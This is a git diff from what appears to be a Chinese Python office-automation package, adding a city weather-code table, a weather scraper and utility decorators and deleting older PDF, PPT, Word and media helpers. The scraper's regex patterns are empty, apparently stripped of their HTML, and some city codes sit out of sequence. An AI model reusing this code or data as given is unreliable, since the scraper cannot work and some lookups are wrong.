'云和': 101210806, '庆元': 101210807, '金华': 101210901, + '浦江': 101210902, + '兰溪': 101210903, '义乌': 101210904, '东阳': 101210905, '武义': 101210906, '永康': 101210907, + '磐安': 101210908, + '衢州': 101211001, '常山': 101211002, '开化': 101211003, '龙游': 101211004, '江山': 101211005, + '舟山': 101211101, + '嵊泗': 101211102, '嵊山': 101211103, '岱山': 101211104, '普陀': 101211105, '定海': 101211106, + '合肥': 101220101, + '长丰': 101220102, '肥东': 101220103, '肥西': 101220104, '蚌埠': 101220201, '怀远': 101220202, + '固镇': 101220203, + '五河': 101220204, '芜湖': 101220301, '繁昌': 101220302, '芜湖县': 101220303, '南陵': 101220304, + '淮南': 101220401, + '凤台': 101220402, '马鞍山': 101220501, '当涂': 101220502, '安庆': 101220601, '枞阳': 101220602, + '太湖': 101220603, + '潜山': 101220604, '怀宁': 101220605, '宿松': 101220606, '望江': 101220607, '岳西': 101220608, + '桐城': 101220609, + '宿州': 101220701, '砀山': 101220702, '灵璧': 101220703, '泗县': 101220704, '萧县': 101220705, + '阜阳': 101220801, + '阜南': 101220802, '颍上': 101220803, '临泉': 101220804, '界首': 101220805, '太和': 101220806, + '亳州': 101220901, + '涡阳': 101220902, '利辛': 101220903, '蒙城': 101220904, '黄山站': 101221001, '黄山区': 101221002, + '屯溪': 101221003, + '祁门': 101221004, '黟县': 101221005, '歙县': 101221006, '休宁': 101221007, '黄山市': 101221008, + '滁州': 101221101, + '凤阳': 101221102, '明光': 101221103, '定远': 101221104, '全椒': 101221105, '来安': 101221106, + '天长': 101221107, + '淮北': 101221201, '濉溪': 101221202, '铜陵': 101221301, '宣城': 101221401, '泾县': 101221402, + '旌德': 101221403, + '宁国': 101221404, '绩溪': 101221405, '广德': 101221406, '郎溪': 101221407, '六安': 101221501, + '霍邱': 101221502, + '寿县': 101221503, '南溪': 101271104, '金寨': 101221505, '霍山': 101221506, '舒城': 101221507, + '巢湖': 101221601, + '庐江': 101221602, '无为': 101221603, '含山': 101221604, '和县': 101221605, '池州': 101221701, + '东至': 101221702, + '青阳': 101221703, '九华山': 101221704, '石台': 101221705, '福州': 101230101, '闽清': 101230102, + '闽侯': 101230103, + '罗源': 101230104, '连江': 101230105, '马祖': 101230106, '永泰': 101230107, '平潭': 101230108, + '福州郊区': 101230109, + '长乐': 101230110, '福清': 101230111, '平潭海峡大桥': 101230112, '厦门': 101230201, '同安': 101230202, + '宁德': 101230301, + '古田': 101230302, '霞浦': 101230303, '寿宁': 101230304, '周宁': 101230305, '福安': 101230306, + '柘荣': 101230307, + '福鼎': 101230308, '屏南': 101230309, '莆田': 101230401, '仙游': 101230402, '秀屿港': 101230403, + '泉州': 101230501, + '安溪': 101230502, '九仙山': 101230503, '永春': 101230504, '德化': 101230505, '南安': 101230506, + '崇武': 101230507, + '晋江': 101230509, '漳州': 101230601, '长泰': 101230602, '南靖': 101230603, '平和': 101230604, + '龙海': 101230605, + '漳浦': 101230606, '诏安': 101230607, '东山': 101230608, '云霄': 101230609, '华安': 101230610, + '龙岩': 101230701, + '长汀': 101230702, '连城': 101230703, '武平': 101230704, '上杭': 101230705, '永定': 101230706, + '漳平': 101230707, + '三明': 101230801, '宁化': 101230802, '清流': 101230803, '泰宁': 101230804, '将乐': 101230805, + '建宁': 101230806, + '明溪': 101230807, '沙县': 101230808, '尤溪': 101230809, '永安': 101230810, '大田': 101230811, + '南平': 101230901, + '顺昌': 101230902, '光泽': 101230903, '邵武': 101230904, '武夷山': 101230905, '浦城': 101230906, + '建阳': 101230907, + '松溪': 101230908, '政和': 101230909, '建瓯': 101230910, '南昌': 101240101, '新建': 101240102, + '南昌县': 101240103, + '安义': 101240104, '进贤': 101240105, '莲塘': 101240106, '九江': 101240201, '瑞昌': 101240202, + '庐山': 101240203, + '武宁': 101240204, '德安': 101240205, '永修': 101240206, '湖口': 101240207, '彭泽': 101240208, + '星子': 101240209, + '都昌': 101240210, '棠荫': 101240211, '修水': 101240212, '上饶': 101240301, '鄱阳': 101240302, + '婺源': 101240303, + '康山': 101240304, '余干': 101240305, '万年': 101240306, '德兴': 101240307, '上饶县': 101240308, + '弋阳': 101240309, + '横峰': 101240310, '铅山': 101240311, '玉山': 101340903, '广丰': 101240313, '波阳': 101240314, + '抚州': 101240401, + '广昌': 101240402, '乐安': 101240403, '崇仁': 101240404, '金溪': 101240405, '资溪': 101240406, + '宜黄': 101240407, + '南城': 101240408, '南丰': 101240409, '黎川': 101240410, '宜春': 101240501, '铜鼓': 101240502, + '宜丰': 101240503, + '万载': 101240504, '上高': 101240505, '靖安': 101240506, '奉新': 101240507, '高安': 101240508, + '樟树': 101240509, + '丰城': 101240510, '吉安': 101240601, '吉安县': 101240602, '吉水': 101240603, '新干': 101240604, + '峡江': 101240605, + '永丰': 101240606, '永新': 101240607, '井冈山': 101240608, '万安': 101240609, '遂川': 101240610, + '泰和': 101240611, + '安福': 101240612, '宁冈': 101240613, '赣州': 101240701, '崇义': 101240702, '上犹': 101240703, + '南康': 101240704, + '大余': 101240705, '信丰': 101240706, '宁都': 101240707, '石城': 101240708, '瑞金': 101240709, + '于都': 101240710, + '会昌': 101240711, '安远': 101240712, '全南': 101240713, '龙南': 101240714, '定南': 101240715, + '寻乌': 101240716, + '兴国': 101240717, '景德镇': 101240801, '乐平': 101240802, '萍乡': 101240901, '莲花': 101240902, + '新余': 101241001, + '分宜': 101241002, '鹰潭': 101241101, '余江': 101241102, '贵溪': 101241103, '长沙': 101250101, + '宁乡': 101250102, + '浏阳': 101250103, '马坡岭': 101250104, '湘潭': 101250201, '韶山': 101250202, '湘乡': 101250203, + '株洲': 101250301, + '攸县': 101250302, '醴陵': 101250303, '株洲县': 101250304, '茶陵': 101250305, '炎陵': 101250306, + '衡阳': 101250401, + '衡山': 101250402, '衡东': 101250403, '祁东': 101250404, '衡阳县': 101250405, '常宁': 101250406, + '衡南': 101250407, + '耒阳': 101250408, '南岳': 101250409, '郴州': 101250501, '桂阳': 101250502, '嘉禾': 101250503, + '宜章': 101250504, + '临武': 101250505, '桥口': 101250506, '资兴': 101250507, '汝城': 101250508, '安仁': 101250509, + '永兴': 101250510, + '桂东': 101250511, '常德': 101250601, '安乡': 101250602, '桃源': 101250603, '汉寿': 101250604, + '澧县': 101250605, + '临澧': 101250606, '石门': 101250607, '益阳': 101250700, '赫山区': 101250701, '南县': 101250702, + '桃江': 101250703, + '安化': 101250704, '沅江': 101250705, '娄底': 101250801, '双峰': 101250802, '冷水江': 101250803, + '冷水滩': 101250804, + '新化': 101250805, '涟源': 101250806, '邵阳': 101250901, '隆回': 101250902, '洞口': 101250903, + '新邵': 101250904, + '邵东': 101250905, '绥宁': 101250906, '新宁': 101250907, '武冈': 101250908, '城步': 101250909, + '邵阳县': 101250910, + '岳阳': 101251001, '华容': 101251002, '湘阴': 101251003, '汨罗': 101251004, '平江': 101251005, + '临湘': 101251006, + '张家界': 101251101, '桑植': 101251102, '慈利': 101251103, '怀化': 101251201, '鹤城区': 101251202, + '沅陵': 101251203, + '辰溪': 101251204, '靖州': 101251205, '会同': 101251206, '通道': 101251207, '麻阳': 101251208, + '新晃': 101251209, + '芷江': 101251210, '溆浦': 101251211, '黔阳': 101251301, '洪江': 101251302, '永州': 101251401, + '祁阳': 101251402, + '东安': 101251403, '双牌': 101251404, '道县': 101251405, '宁远': 101251406, '江永': 101251407, + '蓝山': 101251408, + '新田': 101251409, '江华': 101251410, '吉首': 101251501, '保靖': 101251502, '永顺': 101251503, + '古丈': 101251504, + '凤凰': 101251505, '泸溪': 101251506, '龙山': 101251507, '花垣': 101251508, '贵阳': 101260101, + '白云': 101260102, + '花溪': 101260103, '乌当': 101260104, '息烽': 101260105, '开阳': 101260106, '修文': 101260107, + '清镇': 101260108, + '遵义': 101260201, '遵义县': 101260202, '仁怀': 101260203, '绥阳': 101260204, '湄潭': 101260205, + '凤冈': 101260206, + '桐梓': 101260207, '赤水': 101260208, '习水': 101260209, '道真': 101260210, '正安': 101260211, + '务川': 101260212, + '余庆': 101260213, '汇川': 101260214, '安顺': 101260301, '普定': 101260302, '镇宁': 101260303, + '平坝': 101260304, + '紫云': 101260305, '关岭': 101260306, '都匀': 101260401, '贵定': 101260402, '瓮安': 101260403, + '长顺': 101260404, + '福泉': 101260405, '惠水': 101260406, '龙里': 101260407, '罗甸': 101260408, '平塘': 101260409, + '独山': 101260410, + '三都': 101260411, '荔波': 101260412, '凯里': 101260501, '岑巩': 101260502, '施秉': 101260503, + '镇远': 101260504, + '黄平': 101260505, '黄平旧洲': 101260506, '麻江': 101260507, '丹寨': 101260508, '三穗': 101260509, + '台江': 101260510, + '剑河': 101260511, '雷山': 101260512, '黎平': 101260513, '天柱': 101260514, '锦屏': 101260515, + '榕江': 101260516, + '从江': 101260517, '炉山': 101260518, '铜仁': 101260601, '江口': 101260602, '玉屏': 101260603, + '万山': 101260604, + '思南': 101260605, '塘头': 101260606, '印江': 101260607, '石阡': 101260608, '沿河': 101260609, + '德江': 101260610, + '松桃': 101260611, '毕节': 101260701, '赫章': 101260702, '金沙': 101260703, '威宁': 101260704, + '大方': 101260705, + '纳雍': 101260706, '织金': 101260707, '六盘水': 101260801, '六枝': 101260802, '水城': 101260803, + '盘县': 101260804, + '黔西': 101260901, '晴隆': 101260902, '兴仁': 101260903, '贞丰': 101260904, '望谟': 101260905, + '兴义': 101260906, + '安龙': 101260907, '册亨': 101260908, '普安': 101260909, '成都': 101270101, '龙泉驿': 101270102, + '新都': 101270103, + '温江': 101270104, '金堂': 101270105, '双流': 101270106, '郫县': 101270107, '大邑': 101270108, + '蒲江': 101270109, + '新津': 101270110, '都江堰': 101270111, '彭州': 101270112, '邛崃': 101270113, '崇州': 101270114, + '崇庆': 101270115, + '彭县': 101270116, '攀枝花': 101270201, '仁和': 101270202, '米易': 101270203, '盐边': 101270204, + '自贡': 101270301, + '富顺': 101270302, '荣县': 101270303, '绵阳': 101270401, '三台': 101270402, '盐亭': 101270403, + '安县': 101270404, + '梓潼': 101270405, '北川': 101270406, '平武': 101270407, '江油': 101270408, '南充': 101270501, + '南部': 101270502, + '营山': 101270503, '蓬安': 101270504, '仪陇': 101270505, '西充': 101270506, '阆中': 101270507, + '达州': 101270601, + '宣汉': 101270602, '开江': 101270603, '大竹': 101270604, '渠县': 101270605, '万源': 101270606, + '达川': 101270607, + '遂宁': 101270701, '蓬溪': 101270702, '射洪': 101270703, '广安': 101270801, '岳池': 101270802, + '武胜': 101270803, + '邻水': 101270804, '华蓥山': 101270805, '巴中': 101270901, '通江': 101270902, '南江': 101270903, + '平昌': 101270904, + '泸州': 101271001, '泸县': 101271003, '合江': 101271004, '叙永': 101271005, '古蔺': 101271006, + '纳溪': 101271007, + '宜宾': 101271101, '宜宾农试站': 101271102, '宜宾县': 101271103, '江安': 101271105, '长宁': 101271106, + '高县': 101271107, + '珙县': 101271108, '筠连': 101271109, '兴文': 101271110, '屏山': 101271111, '内江': 101271201, + '东兴': 101301403, + '威远': 101271203, '资中': 101271204, '隆昌': 101271205, '资阳': 101271301, '安岳': 101271302, + '乐至': 101271303, + '简阳': 101271304, '乐山': 101271401, '犍为': 101271402, '井研': 101271403, '夹江': 101271404, + '沐川': 101271405, + '峨边': 101271406, '马边': 101271407, '峨眉': 101271408, '峨眉山': 101271409, '眉山': 101271501, + '仁寿': 101271502, + '彭山': 101271503, '洪雅': 101271504, '丹棱': 101271505, '青神': 101271506, '凉山': 101271601, + '木里': 101271603, + '盐源': 101271604, '德昌': 101271605, '会理': 101271606, '会东': 101271607, '宁南': 101271608, + '普格': 101271609, + '西昌': 101271610, '金阳': 101271611, '昭觉': 101271612, '喜德': 101271613, '冕宁': 101271614, + '越西': 101271615, + '甘洛': 101271616, '雷波': 101271617, '美姑': 101271618, '布拖': 101271619, '雅安': 101271701, + '名山': 101271702, + '荣经': 101271703, '汉源': 101271704, '石棉': 101271705, '天全': 101271706, '芦山': 101271707, + '宝兴': 101271708, + '甘孜': 101271801, '康定': 101271802, '泸定': 101271803, '丹巴': 101271804, '九龙': 101320102, + '雅江': 101271806, + '道孚': 101271807, '炉霍': 101271808, '新龙': 101271809, '德格': 101271810, '白玉': 101271811, + '石渠': 101271812, + '色达': 101271813, '理塘': 101271814, '巴塘': 101271815, '乡城': 101271816, '稻城': 101271817, + '得荣': 101271818, + '阿坝': 101271901, '汶川': 101271902, '理县': 101271903, '茂县': 101271904, '松潘': 101271905, + '九寨沟': 101271906, + '金川': 101271907, '小金': 101271908, '黑水': 101271909, '马尔康': 101271910, '壤塘': 101271911, + '若尔盖': 101271912, + '红原': 101271913, '南坪': 101271914, '德阳': 101272001, '中江': 101272002, '广汉': 101272003, + '什邡': 101272004, + '绵竹': 101272005, '罗江': 101272006, '广元': 101272101, '旺苍': 101272102, '青川': 101272103, + '剑阁': 101272104, + '苍溪': 101272105, '广州': 101280101, '番禺': 101280102, '从化': 101280103, '增城': 101280104, + '花都': 101280105, + '天河': 101280106, '韶关': 101280201, '乳源': 101280202, '始兴': 101280203, '翁源': 101280204, + '乐昌': 101280205, + '仁化': 101280206, '南雄': 101280207, '新丰': 101280208, '曲江': 101280209, '惠州': 101280301, + '博罗': 101280302, + '惠阳': 101280303, '惠东': 101280304, '龙门': 101280305, '梅州': 101280401, '兴宁': 101280402, + '蕉岭': 101280403, + '大埔': 101280404, '丰顺': 101280406, '平远': 101280407, '五华': 101280408, '梅县': 101280409, + '汕头': 101280501, + '潮阳': 101280502, '澄海': 101280503, '南澳': 101280504, '云澳': 101280505, '南澎岛': 101280506, + '深圳': 101280601, + '珠海': 101280701, '斗门': 101280702, '黄茅洲': 101280703, '佛山': 101280800, '顺德': 101280801, + '三水': 101280802, + '南海': 101280803, '肇庆': 101280901, '广宁': 101280902, '四会': 101280903, '德庆': 101280905, + '怀集': 101280906, + '封开': 101280907, '高要': 101280908, '湛江': 101281001, '吴川': 101281002, '雷州': 101281003, + '徐闻': 101281004, + '廉江': 101281005, '硇洲': 101281006, '遂溪': 101281007, '江门': 101281101, '开平': 101281103, + '新会': 101281104, + '恩平': 101281105, '台山': 101281106, '上川岛': 101281107, '鹤山': 101281108, '河源': 101281201, + '紫金': 101281202, + '连平': 101281203, '和平': 101281204, '龙川': 101281205, '清远': 101281301, '连南': 101281302, + '连州': 101281303, + '连山': 101281304, '阳山': 101281305, '佛冈': 101281306, '英德': 101281307, '云浮': 101281401, + '罗定': 101281402, + '新兴': 101281403, '郁南': 101281404, '潮州': 101281501, '饶平': 101281502, '东莞': 101281601, + '中山': 101281701, + '阳江': 101281801, '阳春': 101281802, '揭阳': 101281901, '揭西': 101281902, '普宁': 101281903, + '惠来': 101281904, + '茂名': 101282001, '高州': 101282002, '化州': 101282003, '电白': 101282004, '信宜': 101282005, + '汕尾': 101282101, + '海丰': 101282102, '陆丰': 101282103, '遮浪': 101282104, '东沙岛': 101282105, '昆明': 101290101, + '昆明农试站': 101290102, + '东川': 101290103, '寻甸': 101290104, '晋宁': 101290105, '宜良': 101290106, '石林': 101290107, + '呈贡': 101290108, + '富民': 101290109, '嵩明': 101290110, '禄劝': 101290111, '安宁': 101290112, '太华山': 101290113, + '大理': 101290201, + '云龙': 101290202, '漾鼻': 101290203, '永平': 101290204, '宾川': 101290205, '弥渡': 101290206, + '祥云': 101290207, + '魏山': 101290208, '剑川': 101290209, '洱源': 101290210, '鹤庆': 101290211, '南涧': 101290212, + '红河': 101290301, + '石屏': 101290302, '建水': 101290303, '弥勒': 101290304, '元阳': 101290305, '绿春': 101290306, + '开远': 101290307, + '个旧': 101290308, '蒙自': 101290309, '屏边': 101290310, '泸西': 101290311, '金平': 101290312, + '曲靖': 101290401, + '沾益': 101290402, '陆良': 101290403, '富源': 101290404, '马龙': 101290405, '师宗': 101290406, + '罗平': 101290407, + '会泽': 101290408, '宣威': 101290409, '保山': 101290501, '富宁': 101290502, '龙陵': 101290503, + '施甸': 101290504, + '昌宁': 101290505, '腾冲': 101290506, '文山': 101290601, '西畴': 101290602, '马关': 101290603, + '麻栗坡': 101290604, + '砚山': 101290605, '邱北': 101290606, '广南': 101290607, '玉溪': 101290701, '澄江': 101290702, + '江川': 101290703, + '通海': 101290704, '华宁': 101290705, '新平': 101290706, '易门': 101290707, '峨山': 101290708, + '元江': 101290709, + '楚雄': 101290801, '大姚': 101290802, '元谋': 101290803, '姚安': 101290804, '牟定': 101290805, + '南华': 101290806, + '武定': 101290807, '禄丰': 101290808, '双柏': 101290809, '永仁': 101290810, '普洱': 101290905, + '景谷': 101290902, + '景东': 101290903, '澜沧': 101290904, '墨江': 101290906, '江城': 101290907, '孟连': 101290908, + '西盟': 101290909, + '镇源': 101290910, '镇沅': 101290911, '宁洱': 101290912, '昭通': 101291001, '鲁甸': 101291002, + '彝良': 101291003, + '镇雄': 101291004, '威信': 101291005, '巧家': 101291006, '绥江': 101291007, '永善': 101291008, + '盐津': 101291009, + '大关': 101291010, '临沧': 101291101, '沧源': 101291102, '耿马': 101291103, '双江': 101291104, + '凤庆': 101291105, + '永德': 101291106, '云县': 101291107, '镇康': 101291108, '怒江': 101291201, '福贡': 101291203, + '兰坪': 101291204, + '泸水': 101291205, '六库': 101291206, '贡山': 101291207, '香格里拉': 101291301, '德钦': 101291302, + '维西': 101291303, + '中甸': 101291304, '丽江': 101291401, '永胜': 101291402, '华坪': 101291403, '宁蒗': 101291404, + '德宏': 101291501, + '潞江坝': 101291502, '陇川': 101291503, '盈江': 101291504, '畹町镇': 101291505, '瑞丽': 101291506, + '梁河': 101291507, + '潞西': 101291508, '景洪': 101291601, '大勐龙': 101291602, '勐海': 101291603, '景洪电站': 101291604, + '勐腊': 101291605, + '南宁': 101300101, '南宁城区': 101300102, '邕宁': 101300103, '横县': 101300104, '隆安': 101300105, + '马山': 101300106, + '上林': 101300107, '武鸣': 101300108, '宾阳': 101300109, '硕龙': 101300110, '崇左': 101300201, + '天等': 101300202, + '龙州': 101300203, '凭祥': 101300204, '大新': 101300205, '扶绥': 101300206, '宁明': 101300207, + '海渊': 101300208, + '柳州': 101300301, '柳城': 101300302, '沙塘': 101300303, '鹿寨': 101300304, '柳江': 101300305, + '融安': 101300306, + '融水': 101300307, '三江': 101300308, '来宾': 101300401, '忻城': 101300402, '金秀': 101300403, + '象州': 101300404, + '武宣': 101300405, '桂林': 101300501, '桂林农试站': 101300502, '龙胜': 101300503, '永福': 101300504, + '临桂': 101300505, + '兴安': 101300506, '灵川': 101300507, '全州': 101300508, '灌阳': 101300509, '阳朔': 101300510, + '恭城': 101300511, + '平乐': 101300512, '荔浦': 101300513, '资源': 101300514, '梧州': 101300601, '藤县': 101300602, + '太平': 101300603, + '苍梧': 101300604, '蒙山': 101300605, '岑溪': 101300606, '贺州': 101300701, '昭平': 101300702, + '富川': 101300703, + '钟山': 101300704, '信都': 101300705, '贵港': 101300801, '桂平': 101300802, '平南': 101300803, + '玉林': 101300901, + '博白': 101300902, '北流': 101300903, '容县': 101300904, '陆川': 101300905, '百色': 101301001, + '那坡': 101301002, + '田阳': 101301003, '德保': 101301004, '靖西': 101301005, '田东': 101301006, '平果': 101301007, + '隆林': 101301008, + '西林': 101301009, '乐业': 101301010, '凌云': 101301011, '田林': 101301012, '钦州': 101301101, + '浦北': 101301102, + '灵山': 101301103, '河池': 101301201, '天峨': 101301202, '东兰': 101301203, '巴马': 101301204, + '环江': 101301205, + '罗城': 101301206, '宜州': 101301207, '凤山': 101301208, '南丹': 101301209, '都安': 101301210, + '北海': 101301301, + '合浦': 101301302, '涠洲岛': 101301303, '防城港': 101301401, '上思': 101301402, '板栏': 101301404, + '防城': 101301405, + '海口': 101310101, '琼山': 101310102, '三亚': 101310201, '东方': 101310202, '临高': 101310203, + '澄迈': 101310204, + '儋州': 101310205, '昌江': 101310206, '白沙': 101310207, '琼中': 101310208, '定安': 101310209, + '屯昌': 101310210, + '琼海': 101310211, '文昌': 101310212, '清兰': 101310213, '保亭': 101310214, '万宁': 101310215, + '陵水': 101310216, + '西沙': 101310217, '珊瑚岛': 101310218, '永署礁': 101310219, '南沙岛': 101310220, '乐东': 101310221, + '五指山': 101310222, + '通什': 101310223, '香港': 101320101, '新界': 101320103, '中环': 101320104, '铜锣湾': 101320105, + '澳门': 101330101, + '台北县': 101340101, '台北市': 101340102, '高雄': 101340201, '大武': 101340203, '恒春': 101340204, + '兰屿': 101340205, + '台南': 101340301, '台中': 101340401, '桃园': 101340501, '新竹县': 101340601, '新竹市': 101340602, + '公馆': 101340603, + '宜兰': 101340701, '马公': 101340801, '东吉屿': 101340802, '嘉义': 101340901, '阿里山': 101340902, + '新港': 101340904} diff --git a/office/lib/tools/weather_service.py b/office/lib/tools/weather_service.py new file mode 100644 index 0000000..ba4e804 --- /dev/null +++ b/office/lib/tools/weather_service.py @@ -0,0 +1,24 @@ +import requests +import re + +#天气爬虫 +def weather_spider(url,headers): + response = requests.get(url,headers) + content = response.content.decode('utf-8') + pat_weather = re.compile('') + pat_up_time = re.compile('') + weather = pat_weather.findall(content) + up_time = pat_up_time.findall(content) + print(weather[0]) + print('更新时间:',up_time[0]) + ask_ok = input('是否深入查看(Y/N):') + if ask_ok == 'Y' or ask_ok == 'y': + pat_more_weather = re.compile('
  • .(.*?)\n(.*?)\n

    (.*?)

    .*?\n
  • ',re.S) + more_weather = pat_more_weather.findall(content) + for item in more_weather: + if item[1] != '减肥指数': + print(item[1],':',item[0],',',item[2]) + else: + print(item[1],':',item[2]) + + diff --git a/office/lib/utils/__init__.py b/office/lib/utils/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/office/lib/utils/except_utils.py b/office/lib/utils/except_utils.py new file mode 100644 index 0000000..eb8f295 --- /dev/null +++ b/office/lib/utils/except_utils.py @@ -0,0 +1,34 @@ +from datetime import datetime +# import traceback +from functools import wraps + + +# 统一的异常输出 +from office.lib.conf.CONST import SPLIT_LINE + + +def except_dec(msg='异常原因'): + # msg用于自定义函数的提示信息 + def except_execute(func): + @wraps(func) + def execept_print(*args, **kwargs): + try: + return func(*args, **kwargs) + except Exception as e: + print('=' * 30) + + print('糟糕,你的程序出现了异常') + print( + f'>>>异常时间:\t{datetime.now()}\n>>>异常函数:\t{func.__name__}\n>>>{msg}:\t{e}') + + print('别慌,你的异常也许【群友也遇到过】 → http://www.python4office.cn/wechat-group/') + print('当然,也可以免费【加入星球,向我提问】 → http://t.cn/A6qeZpVt') + + + print(SPLIT_LINE) + + # print(f'{sign}{traceback.format_exc()}{sign}') + + return execept_print + + return except_execute diff --git a/utils/pandas_mem.py b/office/lib/utils/pandas_mem.py similarity index 100% rename from utils/pandas_mem.py rename to office/lib/utils/pandas_mem.py diff --git a/office/lib/utils/time_utils.py b/office/lib/utils/time_utils.py new file mode 100644 index 0000000..a1adf80 --- /dev/null +++ b/office/lib/utils/time_utils.py @@ -0,0 +1,12 @@ +import time + + +def time_count_dec(func): + def wrapper(*args, **kwargs): + t1 = time.time() + res = func(*args, **kwargs) + t2 = time.time() + print(func.__name__ + "执行耗时" + str(t2 - t1)) + return res + + return wrapper diff --git a/office/pdf.py b/office/pdf.py deleted file mode 100644 index 4bef0f9..0000000 --- a/office/pdf.py +++ /dev/null @@ -1,51 +0,0 @@ -# -*- coding: utf-8 -*- -import os -from fpdf import FPDF -from service.pdf import add_watermark_service -import pikepdf - - -#给pdf加水印 -def add_watermark(): - pdf_file_in = input("请输入需要添加水印的文件位置:") # 需要添加水印的文件 - Watermark_Str = input("请输入需要添加的水印内容:") - print('=' * 20) - print('正在按要求,给你的PDF文件添加水印,请让程序飞一会儿~') - print('=' * 20) - pdf_file_mark = 'watermark.pdf' # 水印文件 - add_watermark_service.create_watermark(str(Watermark_Str)) - pdf_file_out = '添加了水印的文件.pdf' # 添加PDF水印后的文件 - add_watermark_service.pdf_add_watermark(pdf_file_in, pdf_file_mark, pdf_file_out) - print("水印添加结束,请打开电脑上的这个位置,查看结果文件:{path}".format(path=os.getcwd())) - -# txt转pdf -def txt2pdf(path,res_pdf='txt2pdf.pdf'): - pdf = FPDF() - pdf.add_page() # Add a page - pdf.set_font("Arial", size=15) # set style and size of font - f = open(path, "r") # open the text file in read mode - # insert the texts in pdf - for x in f: - pdf.cell(50, 5, txt=x, ln=1, align='C') - # pdf.output("path where you want to store pdf file\\file_name.pdf") - pdf.output(res_pdf) - - -# PDF加密 -def encrypt4pdf(path, password, res_pdf='encrypt.pdf'): - """ - @Author & Date : CoderWanFeng 2022/5/9 18:27 - @Desc : path: 存放文件的路径 - password: 你的密码 - res_pdf: 结果文件的名称 ,可以为空,默认是:encrypt.pdf - """ - pdf = pikepdf.open(path) - pdf.save(res_pdf, encryption=pikepdf.Encryption(owner=password, user=password,R=4)) - pdf.close() - - -# PDF解密 -def decrypt4pdf(path, password, res_pdf='decrypt.pdf'): - pdf = pikepdf.open(path, password=password) - pdf.save(res_pdf) - pdf.close() diff --git a/office/ppt.py b/office/ppt.py deleted file mode 100644 index afb2df1..0000000 --- a/office/ppt.py +++ /dev/null @@ -1,38 +0,0 @@ -#!/usr/bin/env python -# -*- coding:utf-8 -*- - -############################################# -# File Name: ppt.py -# Mail: 1957875073@qq.com -# Created Time: 2022-4-25 10:17:34 -# Description: 有关 ppt 的自动化操作 -############################################# -import os -from alive_progress import alive_bar -import time - -from service.ppt.ppt2pdf_service import ppt2pdf_single - - -def ppt2pdf(path): - """ - @Author & Date : CoderWanFeng 2022/5/9 23:34 - @Desc : path:存放ppt的路径,必须写绝对路径~! - """ - # 列出指定目录的内容 - filenames = os.listdir(path) - # for循环依次访问指定目录的所有文件名 - for filename in filenames: - # 判断文件的类型,对所有的ppt文件进行处理(ppt文件以ppt或者pptx结尾的) - if filename.endswith('ppt') or filename.endswith('pptx'): - # print(filename) # PPT素材1.pptx -> PPT素材1.pdf - # 将filename以.进行分割,返回2个信息,文件的名称和文件的后缀名 - base, ext = filename.split('.') # base=PPT素材1 ext=pdf - new_name = base + '.pdf' # PPT素材1.pdf - # ppt文件的完整位置: C:/Users/Administrator/Desktop/PPT办公自动化/ppt/PPT素材1.pptx - filename = path + '/' + filename - # pdf文件的完整位置: C:/Users/Administrator/Desktop/PPT办公自动化/ppt/PPT素材1.pdf - output_filename = path + '/' + new_name - # 将ppt转成pdf文件 - ppt2pdf_single(filename, output_filename) - time.sleep(3) \ No newline at end of file diff --git a/office/tools.py b/office/tools.py deleted file mode 100644 index b98a927..0000000 --- a/office/tools.py +++ /dev/null @@ -1,37 +0,0 @@ -# import the library -from translate import Translator -import qrcode -import string -import random - - -def transtools(to_lang, content): - # specifying the language - translator = Translator(to_lang) - # typing the message - translation = translator.translate(content) - # print the translated message - print(translation) - - -def qrcodetools(url): - # Creating object - # version: defines size of image from integer(1 to 40), box_size = size of each box in pixels, border = thickness of the border. - qr = qrcode.QRCode(version=1, box_size=10, border=5) - # add_date : pass the input text - qr.add_data(url) - # converting into image - qr.make(fit=True) - # specify the foreground and background color for the img - img = qr.make_image(fill='black', back_color='white') - # store the image - img.save('qrcode_img.png') - -def passwordtools(len = 8): - """ - @Author & Date : CoderWanFeng 2022/5/9 11:54 - @Desc : 随机密码生成器,默认是8位 - @Return : - """ - chars = string.digits + string.ascii_letters - return ''.join(random.sample(chars * 10, len)) \ No newline at end of file diff --git a/office/video.py b/office/video.py deleted file mode 100644 index 9137421..0000000 --- a/office/video.py +++ /dev/null @@ -1,18 +0,0 @@ -# import library -import moviepy.editor as mp - -#从视频里提取音频 -def video2mp3(path, mp3_name=None): - """ - :param path: 视频文件的路径 - :param mp3_name: mp3的名字,可以为空 - :return: - """ - # specify the mp4 file here(mention the file path if it is in different directory) - clip = mp.VideoFileClip(path) - if mp3_name: - clip.audio.write_audiofile(str(mp3_name) + '.mp3') - else: - # specify the name for mp3 extracted - clip.audio.write_audiofile('Audio.mp3') - # you will notice mp3 file will be created at the specified location. diff --git a/office/word.py b/office/word.py deleted file mode 100644 index a2decb5..0000000 --- a/office/word.py +++ /dev/null @@ -1,43 +0,0 @@ -#!/usr/bin/env python -#-*- coding:utf-8 -*- - -############################################# -# File Name: word.py -# Author: 程序员晚枫 -# Mail: 1957875073@qq.com -# Created Time: 2022-4-25 10:17:34 -# Description: 有关word的自动化操作 -############################################# - -from win32com.client import constants, gencache -import os # 目录的操作 - - -def createpdf(wordPath, pdfPath): - word = gencache.EnsureDispatch('Word.Application') - doc = word.Documents.Open(wordPath, ReadOnly=1) - # 转换方法 - doc.ExportAsFixedFormat(pdfPath, constants.wdExportFormatPDF) - word.Quit() - - - -# 1、文件的批量转换 -# 自己指定路径, -# 为了适配wps不能转换doc的问题,这里限定:只能转换docx -def docx2pdf(path): - print(os.listdir(path)) # 当前文件夹下的所有文件 - wordfiles = [] - for file in os.listdir('.'): - if file.endswith(('.docx')): # 通过后缀找出所有的workd文件 - wordfiles.append(file) - print(wordfiles) - - for file in wordfiles: - # 获取文件路径 - filepath = os.path.abspath(file) - index = filepath.rindex('.') - # 通过截取获取pdfpath - pdfpath = filepath[:index] + '.pdf' - print(pdfpath) - createpdf(filepath, pdfpath) diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..7e4a117 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,39 @@ +alive_progress==3.1.5 +auto_mix_prep==0.2.0 +Faker==25.2.0 +moviepy==1.0.3 +numpy==1.26.4 +openpyxl==3.1.2 +pandas==2.2.2 +pdf2image==1.17.0 +Pillow==10.3.0 +pocode==0.0.3 +poemail==0.0.3 +pypandoc==1.13 +PyPDF2==3.0.1 +PyQt5==5.15.10 +pytest==8.2.1 +pywifi==1.1.12 +pywin32==306 +qt_material==2.14 +reportlab==4.2.0 +Requests==2.32.2 +search4file==0.1.15 +setuptools==69.0.2 +tqdm==4.66.4 +typer==0.12.3 